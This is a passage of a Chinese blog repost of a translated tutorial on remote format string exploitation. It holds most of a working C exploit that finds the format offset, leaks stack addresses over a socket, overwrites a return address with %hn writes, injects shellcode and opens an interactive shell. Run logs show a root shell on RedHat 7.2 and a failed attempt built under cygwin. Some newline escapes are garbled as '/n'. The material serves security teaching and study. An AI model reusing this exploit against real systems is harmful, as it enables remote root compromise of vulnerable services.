      write(STDOUT_FILENO, buffer, ssize);
    }
  }
  return(-1);
}

u_long resolve(char *host)
{
  struct hostent *he;
  u_long ret;

  if(!(he = gethostbyname(host)))
    {
      herror("gethostbyname()");
      exit(-1);
    }

  memcpy(&ret, he->h_addr, sizeof(he->h_addr));
  return ret;
}

int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
  unsigned char b0, b1, b2, b3;
  unsigned int high, low;
  int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
  int sz;
  int i,j,count=0;

buf[0]=0;

for (i=0;i<alinged;i++)
      strcat(buf,"a");

  /* <locaddr> : where to overwrite */
  OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
  sz = snprintf(buf+alinged, TWO + 1,     /* 8 char to have the 2 addresses */
             "%c%c%c%c"       /* + 1 for the ending /0 */
             "%c%c%c%c",
             b3, b2, b1, b0,
             b3 + 2, b2, b1, b0);
  
  /* where is our shellcode ? */
  OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
  high = (retaddr & 0xffff0000) >> 16;
  low = retaddr & 0x0000ffff;      
  
  printf("low %d;TWO %d;start %d;base %d;offset %d;high %d/n/n",low,TWO,start,base,offset,high);

  i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
           "%%.%hdx%%%d$n%%.%hdx%%%d$hn",
           low - TWO + start - base,
           offset,
           high - low + start,
           offset + 1);
for (j=0;j<strlen(buf);j++)
    {
    if (buf[j] == '%' )
        count++;
    fprintf(stderr,"%.2x ", (int)(buf[j] & 0xff));
    if (j && j%20 == 0) fprintf(stderr, "/n");
    }
fprintf(stderr, "/n/n");
if (count > 4)
    {
    printf("too many '%%' in input buffer/nmay be failed/n/n");
    }
strcat(buf,shellcode);
return i;
}



void get_addr_as_char(u_int addr, char *buf) {

  *(u_int*)buf = addr;
  if (!buf[0]) buf[0]++;
  if (!buf[1]) buf[1]++;
  if (!buf[2]) buf[2]++;
  if (!buf[3]) buf[3]++;
}

int get_offset(int sock,int * alinged) {

  int i, j,offset = -1, len;
  char fmt[128], buf[128];
  char tmp1[128],tmp2[128];

  
  for (j =0;j<4;j++)
  {
  if (j == 0)
    {
      strcpy(tmp1,"AAAA%%%d$x");
      strcpy(tmp2,"AAAA41414141");
    }
  if (j == 1)
    {
      strcpy(tmp1,"AAAAa%%%d$x");
      strcpy(tmp2,"AAAAa41414141");
    }
  if (j == 2)
    {
      strcpy(tmp1,"AAAAaa%%%d$x");
      strcpy(tmp2,"AAAAaa41414141");
    }
  if (j == 3)
    {
      strcpy(tmp1,"AAAAaaa%%%d$x");
      strcpy(tmp2,"AAAAaaa41414141");
    }

    for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

    snprintf(fmt, sizeof(fmt), tmp1, i);
    write(sock, fmt, strlen(fmt));
    memset(buf, 0, sizeof(buf));
    sleep(1);
    if ((len = read(sock, buf, sizeof(buf))) < 0) {
      fprintf(stderr, "Error while looking for the offset (%d)/n", len);
      close(sock);
      exit(EXIT_FAILURE);
    }

    if (debug)
      fprintf(stderr, "testing offset = %d fmt =  [%s] buf = [%s] len = %d/n",
          i, fmt, buf, len);

    if (!strcmp(buf, tmp2))
    {
    offset = i;
    *alinged = j;
    goto OUT;
    }
  }//end for i

  }//end for j
OUT:
  return offset;
}


int main(int argc, char **argv)
{
  char *ip = "127.0.0.1", *ptr;
  struct sockaddr_in sck;
  u_int read_at, addr_stack = (u_int)0xbfffe001; /* default bottom */
  u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
  char buf[1024], fmt[128], c;
  int port = 12345, offset = -1;
  int sd, len, i;
  int aligned;
  int formatstring_counts = 0;
  u_int formatstring1=0,formatstring2=0;
  int use_format = 0;
  int like_printf = 0;

  while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
    switch (c) {
      case 'i':
    ip = optarg;
    break;
      
      case 'p':
    port = atoi(optarg);
    break;

      case 'a':
    addr_stack = strtoul(optarg, NULL, 16);
    break;
    
      case 'o':
    offset = atoi(optarg);
    break;

      case 'v':
    verbose = 1;
    break;

      case 'd':
    debug = 1;
    break;

      default:
    fprintf(stderr, "Unknwon option %c (%d)/n", c, c);
    exit (EXIT_FAILURE);
    }
  }

  /* init the sockaddr_in */
  fprintf(stderr, "Using IP %s/n", ip);
  sck.sin_family = PF_INET;
  sck.sin_addr.s_addr = resolve(ip);
  sck.sin_port = htons (port);

  /* open the socket */
  if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
    perror ("socket()");
    exit (EXIT_FAILURE);
  }
  
  /* connect to the remote server */
  if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
    perror ("Connect() ");
    exit (EXIT_FAILURE);
  }
  fprintf (stderr, "Connected to %s/n", ip);
  if (debug) sleep(10);

  /* send login */
  memset (buf, 0x0, sizeof(buf));
  len = read(sd, buf, sizeof(buf));
  if (strncmp(buf, "login", 5)) {
    fprintf(stderr, "Error: no login asked [%s] (%d)/n", buf, len);
    close(sd);
    exit(EXIT_FAILURE);
  }
  strcpy(buf, "alert7");
  len = write (sd, buf, strlen(buf));
  if (verbose) fprintf(stderr, "login sent [%s] (%d)/n", buf, len);
  sleep(3);

  /* passwd: shellcode in the buffer and in the remote stack */
  len = read(sd, buf, sizeof(buf));
  if (strncmp(buf, "password", 8)) {
    fprintf(stderr, "Error: no password asked [%s] (%d)/n", buf, len);
    close(sd);
    exit(EXIT_FAILURE);
  }
  write (sd, "hi", 2);
  if (verbose) fprintf (stderr, "passwd (hi) sent (%d)/n", len);
  sleep(3);

/***********************************************************************/
  /* find offset and aligned ,一般情况这个可以手动判断就可以了,不过程序判断
   *也不麻烦
   */
  if (offset == -1) {
    if ((offset = get_offset(sd,&aligned)) == -1) {
       fprintf(stderr, "Error: can't find offset/n");
       fprintf(stderr, "Please, use the -o arg to specify it./n");
       close(sd);
       exit(EXIT_FAILURE);
    }
    fprintf(stderr, "/n[Found offset = %d aligned %d ]/n/n", offset,aligned);
  }
/***********************************************************************/

  /* look for the address of the shellcode in the remote stack */
  memset (fmt, 0x0, sizeof(fmt));
  read_at = addr_stack;
  get_addr_as_char(read_at, fmt);
  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
  /*
   *构造read_at%n$s,准备读read_at内存地址的内容
   */
  write(sd, fmt, strlen(fmt));
  sleep(1);

  while((len = read(sd, buf, sizeof(buf))) >= 0 &&
    (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {
    if (len ==0)
                {
                printf("remote machine close connection!!/naddr_stack too small,You can use -a addr adjust it/n ");
                exit(0);
                }

    if (debug) fprintf(stderr, "Read at 0x%x (%d)/n", read_at, len);

/***********************************************************************/
//以下查找format string地址
    /* the input buffer */
    if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
       formatstring_counts++;
       addr_buffer = read_at + (ptr-buf) - 4;
       /*addr_buffer就是format string的地址*/
       fprintf (stderr, "[buffer addr is: 0x%x (%d) ]/n", addr_buffer, len);
       fprintf(stderr, "buf = (%d)/n", len);
       for (i=0; i<len; i++) {
        fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
        if (i && i%20 == 0) fprintf(stderr, "/n");
       }
       fprintf(stderr, "/n/n");
       if (formatstring_counts==1)
        {
         formatstring1 = addr_buffer;
         addr_buffer =-1;
         }
      if ( read_at  > 0xbfffffe0 )
        {
        formatstring1 = addr_buffer;
        like_printf = 1;
        read_at = formatstring1 -4096 ;//只找到一个format string,表示类似printf(buf);
        }
      if (formatstring_counts==2)
        {
        //类似sprintf(buf,buf1);
         formatstring2 = addr_buffer;
         read_at = (formatstring1>formatstring2)?(formatstring2 -4096):(formatstring1 -4096);
         /*欲从read_at地址查找snprintf的活动记录,可能4096太小了,但大部分还是够了的*/
         }
    
    }
/***********************************************************************/

/***********************************************************************/
/*查找snprintf(tmp, sizeof(tmp)-1, buf)的活动记录
* formatstring1和2是tmp,buf的地址
* xx xx ff bf xx xx 04 08 formatstring1 xx xx xx xx  formatstring2
* 或者
* xx xx ff bf xx xx 04 08 formatstring2 xx xx xx xx  formatstring1
*/
    if (addr_buffer != -1) {
    i = 4;
    while (i<len-5 && addr_ret == -1) {
        if (!like_printf)
        {    //like sprintf have two format string
            if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
                    buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08 &&
                       ( ( *(int*) &buf[i+6] ==formatstring1 ) || ( *(int*) &buf[i+6] ==formatstring2 ) )
            ) {
                if ( *(int*) &buf[i+6] ==formatstring1 )
                        use_format = 2;
                else
                    use_format = 1;

                addr_ret = read_at + i - 2 + 4 - 4;
                printf("addr_ret %p/n",addr_ret);
            if ( (addr_ret & 0xff)* ( (addr_ret >>  8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
                addr_ret = -1;
                    else fprintf (stderr, "[ret addr is: 0x%x (%d) ]/n", addr_ret, len);
            }//end if
        i++;
        }//end if like_printf
        else {
        //like printf have only format string
            if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
                buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08 &&
               ( *(int*) &buf[i+6] ==formatstring1 )
                ) {
                use_format = 1;
                addr_ret = read_at + i - 2 + 4 - 4;
                printf("addr_ret %p/n",addr_ret);
                if (  (addr_ret & 0xff)* ( (addr_ret >>  8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
                    addr_ret = -1;
                else fprintf (stderr, "[ret addr is: 0x%x (%d) ]/n", addr_ret, len);
                  }//end if
        i++;
        }//end else  like_printf
      }//end while
    }//end if
/***********************************************************************/

/***********************************************************************/
if  (addr_ret != -1 )
    {
    if (use_format ==1)
        addr_shellcode =  formatstring1+8+aligned+20+8;
    if (use_format ==2)
        addr_shellcode =  formatstring2+8+aligned+20+8;

    }
/***********************************************************************/
    read_at += (len-4+1);
    if (len == sizeof(buf)) {
      fprintf(stderr, "Warning: this has not been tested !!!/n");
      fprintf(stderr, "len = %d/nread_at = 0x%x", len, read_at);
      read_at-=strlen(shellcode);
    }
    get_addr_as_char(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  
  } //end while

  fprintf (stderr, "/naddr-ret %p addr_shellcode %p/n",addr_ret,addr_shellcode);
  /* send the format string */
  fprintf (stderr, "/nBuilding format string and send shellcode /nwaiting for get a shell if succeed.../n/n");
  memset(buf, 0, sizeof(buf));
  build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned);
  
  write(sd, buf, strlen(buf));
  sleep(1);

  interact(sd);

  close(sd);
  return 0;
}


实验一: 本地redhat的
[alert7@redhat72 format]$ gcc -o e e.c
[alert7@redhat72 format]$ ./e
Using IP 127.0.0.1
Connected to 127.0.0.1

[Found offset = 6 aligned 0 ]

[buffer addr is: 0xbffff070 (12) ]
buf = (12)
70 f0 ff bf 70 f0 ff bf 25 36 24 73

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0xbffff04c addr_shellcode 0xbffff094

Building format string and send shellcode
waiting for get a shell if succeed...

low 61588;TWO 8;start 65536;base 0;offset 6;high 49151

4c f0 ff bf 4e f0 ff bf 25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

Linux redhat72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
uid=0(root) gid=100(users)


实验二: 远程cygwin下编译的

$ ./e -i 192.168.168.200
Using IP 192.168.168.200
Connected to 192.168.168.200

[Found offset = 6 aligned 0 ]

[buffer addr is: 0xbffff070 (12) ]
buf = (12)
70 f0 ff bf 70 f0 ff bf 25 36 24 73

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0xbffff04c addr_shellcode 0xbffff094

Building format string and send shellcode
waiting for get a shell if succeed...

low 61588;TWO 8;start 65536;base 0;offset 6;high 49151

4c f0 ff bf 4e f0 ff bf 25 2e 2d 33 39 35 36 78 25 36 24 6e 25
2e 2d 31 32 34 33 37 78 25 37 24 68 6e


sztcww@SZTCWW1 ~
$没有成功

faint~~,为什么在cygwin下编译的程序没有成功呢?
这个问题又使我郁闷了一阵,结果后来发现他们唯一不同的地方就是
Building format string的时候,也就是在函数build_hn()中
i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
           "%%.%hdx%%%d$n%%.%hdx%%%d$hn",
           low - TWO + start - base,
           offset,
           high - low + start,
           offset + 1);
snprintf()的各个参数都一样

在一般的linux redhat中产生的format string为
25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

在cygwin下产生的format string为
25 2e 2d 33 39 35 36 78 25 36 24 6e 25
2e 2d 31 32 34 33 37 78 25 37 24 68 6e

现在唯一的解释就是cygwin下实现的*printf和linux redhat实现的不一样。
从而产生的结果也不一样。

具体在cygwin下编译的snprintf为什么会得出那样的结果我还没有找出原因来。
回头有空慢慢找吧。
所以建议在写format string exploit的时候,不要拿cygwin做实验环境,
不然的话也会象我一样郁闷好一阵子。

------------------------------------------------------------------------


--[  Bibliography  ]--

   1. More info on format bugs par P. "kalou" Bouchareine
      ( http://www.hert.org/papers/format.html)

   2. Format Bugs: What are they, Where did they come from,... How to
      exploit them par lamagra
      (lamagra@digibel.org <lamagra@digibel.org>)

   3. 蓈iter les failles de s閏urit?d鑣 le d関eloppement d'une
      application - 4 : les cha頽es de format  par F. Raynal, C.
      Grenier, C. Blaess
      ( http://minimum.inria.fr/~raynal/index.php3?page=121 ou
       http://www.linuxfocus.org/Francais/July2001/article191.shtml)

   4. Exploiting the format string vulnerabilities par scut (team TESO)
      ( http://www.team-teso.net/articles/formatstring)

   5. fmtbuilder-howto par F. Raynal et S. Dralet
      ( http://minimum.inria.fr/~raynal/index.php3?page=501)


------------------------------------------------------------------------
Fr閐閞ic Raynal - <pappy@miscmag.com>

---the end---
Exploiting Format String Vulnerabilities 立即下载

相关推荐

ollyice和hideod.dll可以对有些壳进行隐藏复件 神龙英雄合击.exe

ollyice和hideod.dll可以对有些壳进行隐藏复件 神龙英雄合击.exe ollydbg 聆听风雨版本

第一章 世界观安全

世界观安全Web安全简史黑客技术的发展历程Web安全的兴起黑帽子,白帽子安全问题的本质安全三要素如何实施安全评估设计安全方案导出与导入导出导入 Web安全简史 1.研究计算机系统和网络的人,被称为“Hacker”,俗称黑客。在计算机安全领域,黑客是一群破坏规则,想要获得一些规则之外的权力的人。 2.在现代计算机系统中,用户态的最高权限是root(administrator),也是黑客最为希望能够获取的系统最高权限。 3.黑客们使用的漏洞利用代码,被称为“exploit” 黑客技术的发展历程 著名的黑客组织T

小二哈的博客 405

gps定位程序

gps定位程序 详细

android+定位跟踪,android实现远程定位追踪(UC+XSS)

前言当PC时代的辉光逐渐隐入了暮霭,一轮更加炫目的红日正在缓缓升起,时至今日,移动互联网已经成为引领时代发展与前沿技术不断革新的中流砥柱,短短十数年 间,手机的兴盛就超出了所有人的预料,大海淘沙,洗尽多少红尘铅华,新的思想,新的技术如雨后春笋般,让人目不暇接。智能化网络、云计算大存储服务、大数 据交互技术、3G/4G乃至5G网络等等新技术层出不穷,然而与此同时,一个个新的问题开始逐渐显露出了它的冰...

weixin_35671110的博客 1548

复旦大学_软件安全_SEED labs_6-Format_String_Server.zip

复旦大学_软件安全_SEED labs_6-Format_String_Server实验 是从雪城大学SEED labs上找的实验 资源包括: 攻击修改代码、实验报告详细版、实验指导书、参考链接

远程定位测试工具[V1.0.1].rar

远程定位测试工具,可单用查询,可网络连接时时更新所在GPS

怎么将字符串加入到输入缓冲区_缓冲区溢出原理及实验——codeinjection与returnorientedprogramming...

缓冲区溢出试验是CSAPP 课后试验[1]之一,目的是:更好的理解什么是缓冲区溢出如何攻击带有缓冲区溢出漏洞的程序如何编写出更加安全的代码了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性我们可以使用代码注入(code-injection)和返回导向编程(return-oriented-programming)两种攻击手段分别攻击试验提供的 ctarget 和 rtarget ...

weixin_39646628的博客 343

使用 pip 安装 pygame 遇到的问题

今天尝试学习使用 pygame 时,按照我的习惯一发 pip install 下去,本以为很简单的事情,没想到遇到了不少问题,顺手记录一下。 0x01. 无法找到 “SDL.h” 文件 pygame 是使用 SDL 库写就的游戏框架,自然强依赖于 SDL,我的 python@3 是使用 macOS 的 brew 管理器直接安装的,可能由于不是编译安装的问题,缺少了这个库,继续使用 brew 安...

Mitscherlich的博客 8622

c语言怎么写定位程序,C语言代码重定位 (原创)

该楼层疑似违规已被系统折叠隐藏此楼查看此楼原贴:http://hi.baidu.com/ciw%5Fblue/blog/item/ec2cc251998c07888d543054.html许多人认为代码重定位在C语言中无法做到,它只属于汇编的专属,其实C语言也可以办到,当然了,里面要嵌入汇编.在远程注入代码的时候,代码重定位用得比较多.但是还有2种取巧的方法就不用代码重定位,其中一种移植行查,一...

weixin_35035699的博客 1470

英伟达NVIDIA数字IC后端笔试真题(ASIC Physical Design Engineer)

英伟达NVIDIA数字IC后端笔试真题(ASIC Physical Design方向)

weixin_37584728的博客 3930

dify离线部署

以bge-m3为例,本地部署bge-m3首先在一台能连网的linux服务器上(部署有ollama)创建想要保存模型的文件夹编辑ollama.service,配置ollama模型的保存路径添加模型存储地址将models目录设置属主,必须做,否则ollama无法启动重新加载配置文件并重启ollama测试ollama 运行是否正常最后拉取 bge-m3可在/opt/LLMModels/bge_m3/models目录下看到拉取得模型使用tar命令压缩文件夹。

weixin_42538734的博客 3074

【原理】高级format string exploit技术P59-0x07(上)

高级format string exploit技术P59-0x07(上)创建时间:2002-08-17文章属性:转载文章提交:xundi (xundi_at_xfocus.org)高级format string exploit技术P59-0x07(上)原文: >by gera , riq 翻译整理byalert7 主页: http://www.xfocus.org/  http://www.whi

FreeXploiT 1842

rv1126 SDK编译【2020-0912版本SDK包】

rv1126 sdk 编译

学习记录 1万+

如何写远程自动精确定位的format string exploit

原作: >      by Fr閐閞ic Raynal 翻译整理: alert7 主页: http://www.xfocus.org/  http://www.whitecell.org/ 时间:2002-4-28测试环境 both redhat linux 6.2 and 7.2默认安装 ★★★ 前言感觉这片文章还不错,就辛苦一下我自己,翻译下吧佛曰:我不入地狱谁入地狱 :)如果你在写forma

技术资料库 2418

Xilinx-复旦微-FPGA-眼图BlockDesign系统制作-针对PCIE系统

XIlinx-复旦微电子-FPGA-眼图BlockDesign系统制作-针对PCIE系统,手把手教你如何建立眼图测试

weixin_43444334的博客 2599

嵌入式铁头山羊stm32:一文总结

本文是一篇STM32嵌入式开发的综合知识总结,涵盖了STM32基础概念、GPIO、通信协议、外设驱动等核心内容。文章首先介绍了STM32的基本概念和型号含义,然后详细讲解了GPIO的8种工作模式及实验案例。接着重点阐述了USART、I2C、SPI三种通信协议的原理和实现方法,包括硬件连接、编程接口和实验应用。此外还介绍了OLED显示原理、中断系统、定时器、ADC转换等关键技术,每个模块都配有对应的实验案例和代码实现参考。文章内容全面系统,既包含理论知识,又提供实践指导,适合作为STM32开发的快速参考手册。

古泽汉书的博客 2792

A simple Format String exploit example - bin 0x11

format1 This level shows how format strings can be used to modify arbitrary memory locations. Hints: objdump -t is your friend, and your input string lies far up the stack :) (you can use objdump -t to find all symbols fromthe binary) first of all,.

weixin_42732173的博客 268

DeepLabv3+改进专栏

🔥【DeepLabv3+改进专栏!探索语义分割新高度】🌟 你是否在为图像分割的精度与效率发愁?📢 本专栏重磅推出:✅ 独家改进策略:融合注意力机制、轻量化设计与多尺度优化✅ 即插即用模块:ASPP+升级、解码器。

AIcurator的博客 2576

Fomat String exploit example-format-bin-0x08

什么是格式字符串   C中最常见最著名的函数是printf,printf将会格式化输出数据到stdout。   int printf(const char format, …); printf读取格式字符串并找到’%’, %*决定了后面跟着的参数的类型。 format1.c #include <stdio.h> #include <unistd.h> #include &l...

qq_25899635的博客 247

4位无符号比较器设计

4位无符号比较器设计

好好学习,天天向上 7891

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Format String 漏洞介绍 总结(五)

Format String 漏洞介绍 总结(五)Bkbll(bkbll@cnhonker.net)2003-6-104.关于 format string漏洞在non-exec stack linux x86上的应用.这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:1. 利用execv 直接执行我们的代码, 这样避免了...

爱.NET 414

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

【原理】高级format string exploit技术P59-0x07(下)

高级format string exploit技术P59-0x07(下)创建时间:2002-08-23文章属性:翻译文章来源:http://www.whitecell.org文章提交:Debuger (z_yikai_at_163.net)高级format string exploit技术P59-0x07(下)|=-----------------------=[ riq ]=---------

FreeXploiT 1369

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Format String Exploit and overwrite the Global Offset Table - bin 0x13

Format4 format4 looks at one method of redirecting execution in a process. Hints:objdump -TR is your friend source code: #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello().

weixin_42732173的博客 258

exploit_me项目完全指南:从入门到精通ARM/AARCH64漏洞利用技术

想要掌握ARM/AARCH64架构的漏洞利用技术吗?exploit_me项目为你提供了一个完整的实战平台!这个专门为安全研究人员和CTF爱好者设计的漏洞利用教程,通过14种不同类型的漏洞场景,帮助你从零开始学习ARM/AARCH64平台的安全攻防技术。无论你是初学者还是有经验的安全工程师,这个项目都能为你提供宝贵的实践机会。 ## 📋 项目概述与核心功能 exploit_me是一个非常易受攻

gitblog_00153的博客 372

qwik-smtpd Remote Root Format String Exploit

**** This bug is a simple format string bug. While coding this exploit, I found just two** "problems". The first i...

128
上一篇: 【分析】非安全编程演示之高级篇
下一篇: 【实战】Cyrus IMAP Server IMAPMAGICPLUS预验证远程缓冲区溢出漏洞分析
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值